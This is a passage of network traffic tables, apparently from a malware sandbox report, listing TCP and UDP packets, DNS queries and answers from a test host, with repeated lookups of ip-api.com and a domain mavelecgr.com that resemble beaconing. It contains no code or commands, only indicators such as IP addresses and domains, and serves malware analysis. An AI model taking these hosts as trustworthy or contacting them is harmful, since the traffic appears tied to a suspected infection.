Feb 21, 2023 07:09:22.174969912 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.175081968 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.175154924 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.219091892 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.219152927 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.219188929 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.219223976 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.219243050 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.219258070 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.219293118 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.219326019 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.219440937 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.219474077 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.219506979 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.219541073 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.219573021 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.219605923 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.219639063 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.219671965 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.265460968 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.281282902 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.326023102 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.326399088 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.408922911 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.409092903 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.453551054 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.455221891 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.458009005 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.503180027 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.515584946 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.558900118 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.559128046 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.641963005 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.642103910 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.686002016 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.687519073 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.762537956 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.794186115 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.840049982 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.950481892 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.996000051 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:23.075043917 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:23.106550932 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:23.152165890 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:23.262866974 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:23.308156967 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:23.371952057 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:23.419295073 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:23.464648962 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:23.575093985 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:23.575325012 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:23.620246887 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:23.731623888 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:23.776931047 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:23.798964977 CET	49753	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:09:23.831478119 CET	80	49753	208.95.112.1	192.168.2.3
Feb 21, 2023 07:09:23.831584930 CET	49753	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:09:23.861984015 CET	49754	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:23.877692938 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:23.905123949 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:23.905241013 CET	49754	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:23.922780037 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:23.948313951 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:23.948419094 CET	49754	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:23.991556883 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:23.991611004 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.032440901 CET	49754	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:24.068527937 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:24.212394953 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:24.255738974 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.255927086 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:24.256053925 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:24.256053925 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:24.256149054 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:24.256149054 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:24.256211996 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:24.256211996 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:24.256262064 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:24.299151897 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.299201012 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.299235106 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.299274921 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:24.299340010 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.299377918 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.299416065 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.299515963 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.299551964 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.299618006 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.299740076 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.299837112 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.299874067 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.300023079 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.300086975 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.300136089 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.300172091 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.300205946 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.300302029 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.300339937 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.300460100 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.344935894 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.358797073 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:24.402146101 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.402398109 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:24.484924078 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.485030890 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:24.528392076 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.530342102 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:24.763578892 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:25.981509924 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.027183056 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.127954960 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.171222925 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.171462059 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.171574116 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.171685934 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.171685934 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.171751976 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.171751976 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.171793938 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.171853065 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.214641094 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.214719057 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.214761019 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.214768887 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.214916945 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.214956045 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.214991093 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.215157986 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.215296984 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.215540886 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.215579033 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.215719938 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.215836048 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.215964079 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.216079950 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.216242075 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.216357946 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.216486931 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.216548920 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.216681004 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.260478020 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.364757061 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.408020020 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.411284924 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.493896961 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.494081974 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.537369013 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.539773941 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.654287100 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.699964046 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.737241030 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.773740053 CET	49754	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.780476093 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.780749083 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.817002058 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.817224979 CET	49754	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.817341089 CET	49754	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.817394972 CET	49754	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.860465050 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.860552073 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.860586882 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.860624075 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.860713005 CET	49754	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.860713005 CET	49754	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.863708973 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.863857031 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.899801016 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.899916887 CET	49754	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.903811932 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.903851032 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.903887033 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.903920889 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.903939009 CET	49754	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.903939962 CET	49754	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.903959990 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.903992891 CET	49754	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:26.903999090 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.904093027 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.904129028 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.904162884 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.904197931 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.904232025 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.904369116 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.904403925 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.904489040 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.906829119 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.908785105 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.943059921 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.946944952 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.947124004 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.947160006 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.947228909 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.947465897 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.947499990 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:26.949223995 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:27.012712955 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:27.058535099 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:27.140755892 CET	49754	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:27.161011934 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:27.206191063 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:27.261785030 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:27.308038950 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:27.353372097 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:27.465569973 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:27.510967016 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:27.574472904 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:27.621748924 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:27.666836023 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:27.762046099 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:27.778204918 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:27.823349953 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:27.973162889 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:37.928195000 CET	80	49754	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:37.928323984 CET	49754	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:38.142568111 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:38.142735004 CET	49746	80	192.168.2.3	89.45.67.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 21, 2023 07:06:01.568460941 CET	57990	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:06:01.568700075 CET	56924	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:06:01.586143970 CET	53	56924	8.8.8.8	192.168.2.3
Feb 21, 2023 07:06:01.596793890 CET	53	57990	8.8.8.8	192.168.2.3
Feb 21, 2023 07:06:03.853920937 CET	49302	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:06:03.875722885 CET	53	49302	8.8.8.8	192.168.2.3
Feb 21, 2023 07:06:04.835393906 CET	52955	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:06:04.854806900 CET	53	52955	8.8.8.8	192.168.2.3
Feb 21, 2023 07:06:34.353085041 CET	65107	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:06:34.372603893 CET	53	65107	8.8.8.8	192.168.2.3
Feb 21, 2023 07:06:41.477210045 CET	53848	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:06:41.508141994 CET	53	53848	8.8.8.8	192.168.2.3
Feb 21, 2023 07:06:45.924273968 CET	57571	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:06:45.944133043 CET	53	57571	8.8.8.8	192.168.2.3
Feb 21, 2023 07:06:56.057235003 CET	58691	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:06:56.084412098 CET	53	58691	8.8.8.8	192.168.2.3
Feb 21, 2023 07:06:56.812355995 CET	53305	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:06:56.829899073 CET	53	53305	8.8.8.8	192.168.2.3
Feb 21, 2023 07:06:58.762028933 CET	59433	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:06:58.781374931 CET	53	59433	8.8.8.8	192.168.2.3
Feb 21, 2023 07:07:04.426975012 CET	65017	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:07:04.458045959 CET	53	65017	8.8.8.8	192.168.2.3
Feb 21, 2023 07:07:04.902245045 CET	57743	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:07:04.922997952 CET	53	57743	8.8.8.8	192.168.2.3
Feb 21, 2023 07:07:18.871016026 CET	53623	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:07:18.901218891 CET	53	53623	8.8.8.8	192.168.2.3
Feb 21, 2023 07:07:19.577876091 CET	61416	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:07:19.597470999 CET	53	61416	8.8.8.8	192.168.2.3
Feb 21, 2023 07:07:20.234019041 CET	65196	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:07:20.264987946 CET	53	65196	8.8.8.8	192.168.2.3
Feb 21, 2023 07:07:25.718353987 CET	58708	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:07:25.778420925 CET	53	58708	8.8.8.8	192.168.2.3
Feb 21, 2023 07:07:30.193523884 CET	59581	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:07:30.212086916 CET	53	59581	8.8.8.8	192.168.2.3
Feb 21, 2023 07:07:42.503714085 CET	60088	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:07:42.529144049 CET	53	60088	8.8.8.8	192.168.2.3
Feb 21, 2023 07:07:48.500276089 CET	63562	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:07:48.526240110 CET	53	63562	8.8.8.8	192.168.2.3
Feb 21, 2023 07:07:59.495837927 CET	53428	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:07:59.513340950 CET	53	53428	8.8.8.8	192.168.2.3
Feb 21, 2023 07:08:03.046421051 CET	59820	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:08:03.066035032 CET	53	59820	8.8.8.8	192.168.2.3
Feb 21, 2023 07:08:14.240303993 CET	64595	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:08:14.259848118 CET	53	64595	8.8.8.8	192.168.2.3
Feb 21, 2023 07:08:21.688628912 CET	51992	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:08:21.708363056 CET	53	51992	8.8.8.8	192.168.2.3
Feb 21, 2023 07:08:46.090050936 CET	58119	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:08:46.121270895 CET	53	58119	8.8.8.8	192.168.2.3
Feb 21, 2023 07:09:20.655334949 CET	63446	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:09:20.672951937 CET	53	63446	8.8.8.8	192.168.2.3
Feb 21, 2023 07:09:23.827539921 CET	49874	53	192.168.2.3	8.8.8.8
Feb 21, 2023 07:09:23.845403910 CET	53	49874	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 21, 2023 07:06:01.568460941 CET	192.168.2.3	8.8.8.8	0xc9a0	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:01.568700075 CET	192.168.2.3	8.8.8.8	0x1ccd	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:03.853920937 CET	192.168.2.3	8.8.8.8	0xb049	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:04.835393906 CET	192.168.2.3	8.8.8.8	0x636	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:34.353085041 CET	192.168.2.3	8.8.8.8	0x3cc0	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:41.477210045 CET	192.168.2.3	8.8.8.8	0x9435	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:45.924273968 CET	192.168.2.3	8.8.8.8	0xab9	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:56.057235003 CET	192.168.2.3	8.8.8.8	0x5724	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:56.812355995 CET	192.168.2.3	8.8.8.8	0x8fc4	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:58.762028933 CET	192.168.2.3	8.8.8.8	0x3f5e	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:04.426975012 CET	192.168.2.3	8.8.8.8	0xd6b7	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:04.902245045 CET	192.168.2.3	8.8.8.8	0xba29	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:18.871016026 CET	192.168.2.3	8.8.8.8	0xdb46	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:19.577876091 CET	192.168.2.3	8.8.8.8	0x4aaa	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:20.234019041 CET	192.168.2.3	8.8.8.8	0x60cf	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:25.718353987 CET	192.168.2.3	8.8.8.8	0x1a5f	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:30.193523884 CET	192.168.2.3	8.8.8.8	0x4ea8	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:42.503714085 CET	192.168.2.3	8.8.8.8	0x6bfe	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:48.500276089 CET	192.168.2.3	8.8.8.8	0x3df7	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:59.495837927 CET	192.168.2.3	8.8.8.8	0xd79f	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:08:03.046421051 CET	192.168.2.3	8.8.8.8	0x8da2	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:08:14.240303993 CET	192.168.2.3	8.8.8.8	0x3d51	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:08:21.688628912 CET	192.168.2.3	8.8.8.8	0x8559	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:08:46.090050936 CET	192.168.2.3	8.8.8.8	0x168a	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:09:20.655334949 CET	192.168.2.3	8.8.8.8	0x2b3f	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:09:23.827539921 CET	192.168.2.3	8.8.8.8	0x22d3	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 21, 2023 07:06:01.586143970 CET	8.8.8.8	192.168.2.3	0x1ccd	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 21, 2023 07:06:01.586143970 CET	8.8.8.8	192.168.2.3	0x1ccd	No error (0)	clients.l.google.com		142.250.180.174	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:01.596793890 CET	8.8.8.8	192.168.2.3	0xc9a0	No error (0)	accounts.google.com		216.58.209.45	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:03.875722885 CET	8.8.8.8	192.168.2.3	0xb049	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:03.875722885 CET	8.8.8.8	192.168.2.3	0xb049	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:03.875722885 CET	8.8.8.8	192.168.2.3	0xb049	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:03.875722885 CET	8.8.8.8	192.168.2.3	0xb049	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:03.875722885 CET	8.8.8.8	192.168.2.3	0xb049	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:04.854806900 CET	8.8.8.8	192.168.2.3	0x636	No error (0)	www.google.com		142.250.180.132	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:34.372603893 CET	8.8.8.8	192.168.2.3	0x3cc0	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:41.508141994 CET	8.8.8.8	192.168.2.3	0x9435	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
